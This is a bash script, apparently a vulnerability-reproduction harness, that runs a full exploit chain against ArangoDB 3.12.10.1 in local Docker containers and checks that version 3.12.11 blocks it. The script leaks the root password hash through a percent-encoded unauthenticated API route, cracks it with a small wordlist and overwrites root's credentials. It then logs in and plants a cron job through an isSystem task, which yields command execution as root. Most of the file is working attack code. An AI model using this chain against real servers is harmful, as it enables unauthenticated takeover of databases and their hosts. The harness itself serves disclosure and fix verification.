#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
PROOF="$REPRO_DIR/proof"
mkdir -p "$LOGS" "$REPRO_DIR" "$PROOF"
cd "$ROOT"

exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

VULN_IMAGE="arangodb@sha256:01be938f3a8d3e82725d365ca6750e4cafd092ec78a33a027588cfac37be4e51"
FIXED_IMAGE="arangodb@sha256:39bbca489179ea03f2b24b7ea4e4c4cb5258f6474f8c1c4d9bd65f7cd6d211a5"
SETUP_PASSWORD="test1234"
BRIDGE_PASSWORD="AttackerKnown-91c2e7a4"
RUN_TAG="$(date +%s)-$$"
CONTAINERS=()

cleanup() {
  for c in "${CONTAINERS[@]:-}"; do docker rm -f "$c" >/dev/null 2>&1 || true; done
}
trap cleanup EXIT INT TERM

# Read the prepared cache context as required. This image-backed reproduction does
# not need a source checkout, but records which deterministic cache path would be used.
CACHE_REPO="$ROOT/artifacts/arangodb"
if [ -r "$ROOT/project_cache_context.json" ]; then
  candidate="$(jq -r 'if .prepared == true then (.project_cache_dir + "/repo") else empty end' "$ROOT/project_cache_context.json" 2>/dev/null || true)"
  if [ -n "$candidate" ]; then CACHE_REPO="$candidate"; fi
fi
printf '%s\n' "$CACHE_REPO" > "$LOGS/selected-cache-repo.txt"

write_failure_manifest() {
  python3 - "$REPRO_DIR/runtime_manifest.json" <<'PY'
import json,sys
with open(sys.argv[1],"w") as f:
 json.dump({"entrypoint_kind":"endpoint","entrypoint_detail":"ArangoDB HTTP API full-chain attempt","service_started":False,"healthcheck_passed":False,"target_path_reached":False,"runtime_stack":["docker","arangod"],"proof_artifacts":[],"artifact_sha256":{},"notes":"The reproduction did not complete; inspect logs/reproduction_steps.log."},f,indent=2)
PY
}
write_failure_manifest

for tool in docker curl jq python3 sha256sum timeout; do command -v "$tool" >/dev/null || { echo "missing required tool: $tool"; exit 2; }; done
docker info >/dev/null

# Ensure immutable target images are available. Mutable tags are never executed.
docker image inspect "$VULN_IMAGE" >/dev/null 2>&1 || docker pull "arangodb:3.12.10.1"
docker image inspect "$FIXED_IMAGE" >/dev/null 2>&1 || docker pull "arangodb:3.12.11"
VULN_ID="$(docker image inspect "$VULN_IMAGE" --format '{{.Id}}')"
FIXED_ID="$(docker image inspect "$FIXED_IMAGE" --format '{{.Id}}')"
printf 'vulnerable=%s image_id=%s\nfixed=%s image_id=%s\n' "$VULN_IMAGE" "$VULN_ID" "$FIXED_IMAGE" "$FIXED_ID" > "$PROOF/image-identities.txt"

wait_ready() {
  local port="$1" c="$2" out="$3"
  : > "$out"
  for _ in $(seq 1 90); do
    code="$(curl -sS -o /dev/null -w '%{http_code}' --max-time 2 "http://127.0.0.1:$port/_api/version" || true)"
    printf 'health status=%s\n' "$code" >> "$out"
    if [ "$code" = 401 ] || [ "$code" = 200 ]; then
      docker exec "$c" arangod --version | head -1 >> "$out"
      return 0
    fi
    sleep 1
  done
  docker logs "$c" > "$out.container.log" 2>&1 || true
  return 1
}

setup_target() {
  local port="$1" dir="$2"
  local base="http://127.0.0.1:$port"
  # Legitimate administrator setup creates protected data and a database-RW
  # bridge account for the independent fixed task control. The vulnerable chain
  # separately leaks and cracks the deliberately weak root credential.
  curl -sS --fail-with-body --max-time 10 -u "root:$SETUP_PASSWORD" -H 'content-type: application/json' -X POST "$base/_api/collection" --data '{"name":"chain_secrets"}' > "$dir/setup-collection.json"
  curl -sS --fail-with-body --max-time 10 -u "root:$SETUP_PASSWORD" -H 'content-type: application/json' -X POST "$base/_api/document/chain_secrets" --data "{\"_key\":\"proof\",\"secret\":\"PROTECTED_$RUN_TAG\"}" > "$dir/setup-document.json"
  curl -sS --fail-with-body --max-time 10 -u "root:$SETUP_PASSWORD" -H 'content-type: application/json' -X POST "$base/_api/user" --data "{\"user\":\"bridge\",\"passwd\":\"$BRIDGE_PASSWORD\",\"active\":true}" > "$dir/setup-user.json"
  curl -sS --fail-with-body --max-time 10 -u "root:$SETUP_PASSWORD" -H 'content-type: application/json' -X PUT "$base/_api/user/bridge/database/_system" --data '{"grant":"rw"}' > "$dir/setup-grant.json"
}

make_raw_helper() {
  local helper="$1"
  cat > "$helper" <<'PY'
#!/usr/bin/env python3
import argparse,socket,sys
p=argparse.ArgumentParser()
p.add_argument('--port',type=int,required=True); p.add_argument('--method',required=True); p.add_argument('--path',required=True)
p.add_argument('--body',default=''); p.add_argument('--auth',default=''); p.add_argument('--request',required=True); p.add_argument('--response',required=True); p.add_argument('--response-body',required=True)
a=p.parse_args(); body=a.body.encode()
headers=[f"Host: 127.0.0.1:{a.port}","User-Agent: pruva-current-run-proof/1","Accept: application/json","Connection: close"]
if body: headers += ["Content-Type: application/json",f"Content-Length: {len(body)}"]
if a.auth: headers.append("Authorization: "+a.auth)
req=(f"{a.method} {a.path} HTTP/1.1\r\n"+"\r\n".join(headers)+"\r\n\r\n").encode()+body
open(a.request,'wb').write(req)
s=socket.create_connection(('127.0.0.1',a.port),10); s.settimeout(15); s.sendall(req); chunks=[]
while True:
 try: x=s.recv(65536)
 except socket.timeout: break
 if not x: break
 chunks.append(x)
raw=b''.join(chunks); open(a.response,'wb').write(raw)
sep=b'\r\n\r\n'; rb=raw.split(sep,1)[1] if sep in raw else b''; open(a.response_body,'wb').write(rb)
line=raw.split(b'\r\n',1)[0].decode('latin1','replace'); print(line)
try: code=int(line.split()[1])
except Exception: sys.exit(97)
print(code)
PY
  chmod +x "$helper"
}

raw_call() {
  local dir="$1" name="$2" port="$3" method="$4" path="$5" body="$6" auth="${7:-}"
  timeout 25 python3 "$dir/send_raw.py" --port "$port" --method "$method" --path "$path" --body "$body" --auth "$auth" --request "$dir/${name}_request.raw" --response "$dir/${name}_response.raw" --response-body "$dir/${name}_body.json" | tee "$dir/${name}_status.txt"
  tail -1 "$dir/${name}_status.txt"
}

basic_auth() { printf '%s' "$1:$2" | base64 | tr -d '\n'; }

run_vulnerable() {
  local attempt="$1" port="$2"
  local dir="$PROOF/vulnerable-$attempt" c="pruva-arango-vuln-$RUN_TAG-$attempt"
  mkdir -p "$dir"; make_raw_helper "$dir/send_raw.py"
  CONTAINERS+=("$c")
  docker run -d --name "$c" -e "ARANGO_ROOT_PASSWORD=$SETUP_PASSWORD" -p "127.0.0.1:$port:8529" "$VULN_IMAGE" > "$dir/container-id.txt"
  wait_ready "$port" "$c" "$dir/health.log"
  docker inspect "$c" --format '{{json .Image}} {{json .Config.Image}} {{json .State.Status}}' > "$dir/container-identity.txt"
  docker exec "$c" sh -c 'id; ps -o pid,user,comm,args | grep [a]rangod; stat -c "%U %G %a %n" /root /etc/crontabs/root 2>/dev/null || true' > "$dir/process-identity-before.txt"
  setup_target "$port" "$dir"
  # Legitimate setup used root authentication; restart into an ordinary
  # post-deployment service state before any attacker traffic.
  docker restart "$c" > "$dir/post-setup-restart.txt"
  wait_ready "$port" "$c" "$dir/health-after-setup-restart.log"
  # Cron is an ordinary privileged file consumer present in the official image.
  docker exec -d "$c" sh -c 'exec crond -f -l 0 >/tmp/pruva-crond.log 2>&1'
  sleep 1

  local path='/_db/_system/%5fapi/simple/first-example'
  local literal='/_db/_system/_api/simple/first-example'
  local secret_body users_body bridge_body update_body status token auth task_id task_body lookup_status
  secret_body="$(jq -cn --arg t "PROTECTED_$RUN_TAG" '{collection:"chain_secrets",example:{secret:$t}}')"
  status="$(raw_call "$dir" hop0-literal-control "$port" PUT "$literal" "$secret_body" | tail -1)"
  [ "$status" = 401 ] || { echo "expected literal path 401, got $status"; return 1; }
  status="$(raw_call "$dir" hop0-protected-read "$port" PUT "$path" "$secret_body" | tail -1)"
  [ "$status" = 200 ] && jq -e --arg t "PROTECTED_$RUN_TAG" '.document.secret==$t' "$dir/hop0-protected-read_body.json" >/dev/null

  users_body='{"collection":"_users","example":{"user":"root"}}'
  status="$(raw_call "$dir" hop0-root-authdata-read "$port" PUT "$path" "$users_body" | tail -1)"
  [ "$status" = 200 ] && jq -e '.document.user=="root" and (.document.authData.simple.hash|length>0)' "$dir/hop0-root-authdata-read_body.json" >/dev/null

  # Fallback credential acquisition path explicitly permitted by the ticket:
  # crack the leaked weak single-round SHA-256 credential. The test deployment
  # deliberately uses a weak root password, and this runtime precondition is
  # verified rather than assumed.
  python3 - "$dir/hop0-root-authdata-read_body.json" "$dir/hop1-password-crack.txt" <<'PYCRACK'
import hashlib,json,sys
j=json.load(open(sys.argv[1])); simple=j["document"]["authData"]["simple"]
candidates=["password","root","arangodb","admin","test","test1234","changeme"]
found=None
with open(sys.argv[2],"w") as f:
 f.write("algorithm=single-round sha256(salt || password)\n")
 f.write("salt="+simple["salt"]+"\nleaked_hash="+simple["hash"]+"\n")
 for candidate in candidates:
  digest=hashlib.sha256((simple["salt"]+candidate).encode()).hexdigest()
  f.write("candidate=%s digest=%s match=%s\n"%(candidate,digest,str(digest==simple["hash"]).lower()))
  if digest==simple["hash"]: found=candidate
 if found is None: raise SystemExit("weak-password precondition not satisfied")
 f.write("cracked_password="+found+"\n")
PYCRACK
  CRACKED_PASSWORD="$(sed -n 's/^cracked_password=//p' "$dir/hop1-password-crack.txt")"
  [ "$CRACKED_PASSWORD" = "$SETUP_PASSWORD" ]

  # Also prove unauthenticated attacker-controlled persistence in _users. This
  # direct collection action does not notify the in-memory UserManager, so the
  # current-session login below uses the freshly cracked cached credential; the
  # chosen persistent credential takes effect after a normal future restart.
  local persist_salt="c0decafe" persist_hash
  persist_hash="$(printf '%s' "$persist_salt$BRIDGE_PASSWORD" | sha256sum | awk '{print $1}')"
  update_body="$(jq -cn --arg salt "$persist_salt" --arg hash "$persist_hash" '{collection:"_users",example:{user:"root"},newValue:{authData:{active:true,simple:{method:"sha256",salt:$salt,hash:$hash}}}}')"
  printf '%s' "$update_body" > "$dir/hop1-root-credential-update-payload.json"
  status="$(raw_call "$dir" hop1-root-credential-update "$port" PUT '/_db/_system/%5fapi/simple/update-by-example' "$update_body" | tail -1)"
  [ "$status" = 200 ] && jq -e '.updated==1 and .error==false' "$dir/hop1-root-credential-update_body.json" >/dev/null
  status="$(raw_call "$dir" hop1-root-persistence-read "$port" PUT "$path" "$users_body" | tail -1)"
  [ "$status" = 200 ] && jq -e --arg salt "$persist_salt" --arg hash "$persist_hash" '.document.authData.simple.salt==$salt and .document.authData.simple.hash==$hash' "$dir/hop1-root-persistence-read_body.json" >/dev/null

  # Authenticate through the real public login endpoint with the credential just
  # acquired from the unauthenticated hash leak. The returned JWT drives all later requests.
  status="$(raw_call "$dir" hop2-root-login "$port" POST '/_open/auth' "$(jq -cn --arg u root --arg p "$CRACKED_PASSWORD" '{username:$u,password:$p}')" | tail -1)"
  [ "$status" = 200 ] || { echo "credential acquisition did not authenticate, status=$status"; return 1; }
  token="$(jq -er '.jwt' "$dir/hop2-root-login_body.json")"
  auth="bearer $token"

  task_id="chain-$RUN_TAG-$attempt"
  local write_marker="TASK_WRITE_${RUN_TAG}_${attempt}" exec_marker="COMMAND_EXEC_${RUN_TAG}_${attempt}"
  local cron="* * * * * /bin/sh -c 'id > /root/chain_exec_${RUN_TAG}_${attempt}.txt; whoami >> /root/chain_exec_${RUN_TAG}_${attempt}.txt; echo ${exec_marker} >> /root/chain_exec_${RUN_TAG}_${attempt}.txt; echo ${exec_marker} > /root/chain_marker_${RUN_TAG}_${attempt}.txt'"
  cron+=$'\n'
  local js cron_json
  cron_json="$(printf '%s' "$cron" | jq -Rs .)"
  js="var fs=require('fs'); fs.write('/root/chain_write_${RUN_TAG}_${attempt}.txt','$write_marker'); fs.write('/etc/crontabs/root',$cron_json);"
  task_body="$(jq -cn --arg n "$task_id" --arg cmd "$js" '{name:$n,offset:0,isSystem:true,command:$cmd}')"
  printf '%s' "$task_body" > "$dir/hop3-system-task-payload.json"
  status="$(raw_call "$dir" hop3-system-task "$port" PUT "/_api/tasks/$task_id" "$task_body" "$auth" | tail -1)"
  [ "$status" = 200 ] || { echo "system task creation failed, status=$status"; return 1; }
  sleep 3
  lookup_status="$(raw_call "$dir" hop3-task-lookup "$port" GET "/_api/tasks/$task_id" '' "$auth" | tail -1)"
  # offset:0 one-shot tasks are removed after execution; 404 is expected and
  # the host filesystem provides the authoritative post-execution oracle.
  [ "$lookup_status" = 404 ]
  docker exec "$c" sh -c "stat -c '%U %G %a %n' /root/chain_write_${RUN_TAG}_${attempt}.txt /etc/crontabs/root; cat /root/chain_write_${RUN_TAG}_${attempt}.txt; cat /etc/crontabs/root" > "$dir/hop3-root-file-evidence.txt"
  grep -F "$write_marker" "$dir/hop3-root-file-evidence.txt" >/dev/null

  # Wait for a real cron tick. The attacker-controlled command's id/whoami output
  # is the code-execution oracle; task-created and cron-created files are distinct.
  : > "$dir/hop4-command-execution.txt"
  for _ in $(seq 1 95); do
    if docker exec "$c" test -f "/root/chain_exec_${RUN_TAG}_${attempt}.txt"; then
      docker exec "$c" sh -c "stat -c '%U %G %a %n' /root/chain_exec_${RUN_TAG}_${attempt}.txt; cat /root/chain_exec_${RUN_TAG}_${attempt}.txt; cat /tmp/pruva-crond.log 2>/dev/null || true" > "$dir/hop4-command-execution.txt"
      break
    fi
    sleep 1
  done
  grep -F 'uid=0(root)' "$dir/hop4-command-execution.txt" >/dev/null
  grep -Fx 'root' "$dir/hop4-command-execution.txt" >/dev/null
  grep -F "$exec_marker" "$dir/hop4-command-execution.txt" >/dev/null
  docker cp "$c:/root/chain_marker_${RUN_TAG}_${attempt}.txt" "$dir/hop4-command-marker.txt" >/dev/null
  [ "$(tr -d '\r\n' < "$dir/hop4-command-marker.txt")" = "$exec_marker" ]
  jq -n --arg p "vulnerable-$attempt-$RUN_TAG" --arg m "$exec_marker" '{schema_version:1,process_instance:$p,marker:$m,target_path_reached:true,marker_present:true}' > "$dir/command-execution-observation.json"
  docker logs "$c" > "$dir/service-final.log" 2>&1
  docker rm -f "$c" >/dev/null; CONTAINERS=("${CONTAINERS[@]/$c}")
  echo "vulnerable attempt $attempt: FULL CHAIN CONFIRMED"
}

run_fixed() {
  local attempt="$1" port="$2"
  local dir="$PROOF/fixed-$attempt" c="pruva-arango-fixed-$RUN_TAG-$attempt"
  mkdir -p "$dir"; make_raw_helper "$dir/send_raw.py"
  CONTAINERS+=("$c")
  docker run -d --name "$c" -e "ARANGO_ROOT_PASSWORD=$SETUP_PASSWORD" -p "127.0.0.1:$port:8529" "$FIXED_IMAGE" > "$dir/container-id.txt"
  wait_ready "$port" "$c" "$dir/health.log"
  docker inspect "$c" --format '{{json .Image}} {{json .Config.Image}} {{json .State.Status}}' > "$dir/container-identity.txt"
  docker exec "$c" sh -c 'id; ps -o pid,user,comm,args | grep [a]rangod' > "$dir/process-identity-before.txt"
  setup_target "$port" "$dir"

  local secret_body status bridge_basic login_status token auth task_id task_body
  secret_body="$(jq -cn --arg t "PROTECTED_$RUN_TAG" '{collection:"chain_secrets",example:{secret:$t}}')"
  status="$(raw_call "$dir" hop0-encoded-read-control "$port" PUT '/_db/_system/%5fapi/simple/first-example' "$secret_body" | tail -1)"
  [ "$status" = 401 ] || { echo "fixed encoded read expected 401, got $status"; return 1; }
  status="$(raw_call "$dir" hop1-encoded-update-control "$port" PUT '/_db/_system/%5fapi/simple/update-by-example' '{"collection":"_users","example":{"user":"root"},"newValue":{"active":false}}' | tail -1)"
  [ "$status" = 401 ] || { echo "fixed encoded update expected 401, got $status"; return 1; }

  # Independent fixed control for vulnerability two: authenticated database-RW
  # bridge user reaches the real task endpoint but cannot choose Internal context.
  login_status="$(raw_call "$dir" control-bridge-login "$port" POST '/_open/auth' "$(jq -cn --arg u bridge --arg p "$BRIDGE_PASSWORD" '{username:$u,password:$p}')" | tail -1)"
  [ "$login_status" = 200 ]
  token="$(jq -er '.jwt' "$dir/control-bridge-login_body.json")"; auth="bearer $token"
  task_id="fixed-control-$RUN_TAG-$attempt"
  local fixed_marker="FIXED_BLOCKED_${RUN_TAG}_${attempt}" fixed_marker_path="/root/fixed_marker_${RUN_TAG}_${attempt}.txt"
  task_body="$(jq -cn --arg n "$task_id" --arg path "$fixed_marker_path" --arg marker "$fixed_marker" '{name:$n,offset:0,isSystem:true,command:("var fs=require(\"fs\"); fs.write("+($path|tojson)+","+($marker|tojson)+");") }')"
  status="$(raw_call "$dir" hop3-system-task-control "$port" PUT "/_api/tasks/$task_id" "$task_body" "$auth" | tail -1)"
  [ "$status" = 403 ] || { echo "fixed isSystem task expected 403, got $status"; return 1; }
  if docker exec "$c" test -e "$fixed_marker_path"; then echo 'fixed control unexpectedly wrote root file'; return 1; fi
  printf 'target_path_reached=true\nstatus=%s\nroot_marker_present=false\n' "$status" > "$dir/hop3-negative-control.txt"
  jq -n --arg p "fixed-$attempt-$RUN_TAG" --arg m "$fixed_marker" '{schema_version:1,process_instance:$p,marker:$m,target_path_reached:true,marker_present:false}' > "$dir/command-execution-negative-control.json"
  docker logs "$c" > "$dir/service-final.log" 2>&1
  docker rm -f "$c" >/dev/null; CONTAINERS=("${CONTAINERS[@]/$c}")
  echo "fixed attempt $attempt: ALL CONTROLS PASSED"
}

rm -rf "$PROOF/vulnerable-1" "$PROOF/vulnerable-2" "$PROOF/fixed-1" "$PROOF/fixed-2"
run_vulnerable 1 18531
run_vulnerable 2 18532
run_fixed 1 18541
run_fixed 2 18542

python3 - "$PROOF/summary.json" "$RUN_TAG" <<'PY'
import json,sys
json.dump({"schema_version":1,"run_tag":sys.argv[2],"vulnerable_attempts":2,"fixed_attempts":2,"unauthenticated_credential_overwrite":True,"weak_password_precondition_validated":True,"root_login_with_acquired_credential":True,"client_isSystem_task_accepted_vulnerable":True,"root_file_write":True,"attacker_command_executed_as_uid_0":True,"fixed_encoded_routes_status":401,"fixed_isSystem_task_status":403,"result":"confirmed"},open(sys.argv[1],'w'),indent=2)
PY

# Bind only finalized, immutable evidence. The shell-wide diagnostic log is omitted
# because tee remains active until process exit.
python3 - "$ROOT" "$REPRO_DIR/runtime_manifest.json" <<'PY'
import hashlib,json,os,platform,sys
root=sys.argv[1]; out=sys.argv[2]
rels=["repro/proof/image-identities.txt","repro/proof/summary.json"]
for role in ("vulnerable-1","vulnerable-2"):
 for name in ("hop0-literal-control_request.raw","hop0-literal-control_response.raw","hop0-protected-read_request.raw","hop0-protected-read_response.raw","hop0-root-authdata-read_request.raw","hop0-root-authdata-read_response.raw","hop1-password-crack.txt","hop1-root-credential-update_request.raw","hop1-root-credential-update_response.raw","hop1-root-persistence-read_request.raw","hop1-root-persistence-read_response.raw","hop2-root-login_request.raw","hop2-root-login_response.raw","hop3-system-task_request.raw","hop3-system-task_response.raw","hop3-task-lookup_request.raw","hop3-task-lookup_response.raw","hop3-root-file-evidence.txt","hop4-command-execution.txt","hop4-command-marker.txt","command-execution-observation.json","process-identity-before.txt","container-identity.txt"):
  rels.append(f"repro/proof/{role}/{name}")
for role in ("fixed-1","fixed-2"):
 for name in ("hop0-encoded-read-control_request.raw","hop0-encoded-read-control_response.raw","hop1-encoded-update-control_request.raw","hop1-encoded-update-control_response.raw","control-bridge-login_request.raw","control-bridge-login_response.raw","hop3-system-task-control_request.raw","hop3-system-task-control_response.raw","hop3-negative-control.txt","command-execution-negative-control.json","process-identity-before.txt","container-identity.txt"):
  rels.append(f"repro/proof/{role}/{name}")
missing=[r for r in rels if not os.path.isfile(os.path.join(root,r))]
if missing: raise SystemExit("missing retained proof: "+repr(missing))
sha={r:hashlib.sha256(open(os.path.join(root,r),'rb').read()).hexdigest() for r in rels}
manifest={"entrypoint_kind":"endpoint","entrypoint_detail":"ArangoDB HTTP API: unauthenticated encoded JS actions -> root authData leak/write -> weak-hash crack -> /_open/auth -> authenticated isSystem task -> cron command execution","service_started":True,"healthcheck_passed":True,"target_path_reached":True,"runtime_stack":["Docker Engine","official arangodb:3.12.10.1 linux/amd64 image","arangod HTTP service","BusyBox crond privileged file consumer"],"target_identity":{"repository_url":"https://github.com/arangodb/arangodb","target_digest":"01be938f3a8d3e82725d365ca6750e4cafd092ec78a33a027588cfac37be4e51","runtime_digest":"01be938f3a8d3e82725d365ca6750e4cafd092ec78a33a027588cfac37be4e51","platform":"linux","architecture":"x86_64"},"proof_artifacts":rels,"artifact_sha256":sha,"notes":"Explicit precondition: the deployed root password is weak (test1234); each attempt validates recovery from the unauthenticated single-round SHA-256 leak. Two clean vulnerable full-chain attempts and two clean fixed controls. Exact target is official immutable image digest; no source commit is asserted for the packaged target."}
json.dump(manifest,open(out,'w'),indent=2)
PY
python3 -m json.tool "$REPRO_DIR/runtime_manifest.json" >/dev/null
echo 'SUCCESS: full unauthenticated-to-root-command-execution chain reproduced twice; fixed controls passed twice.'
exit 0
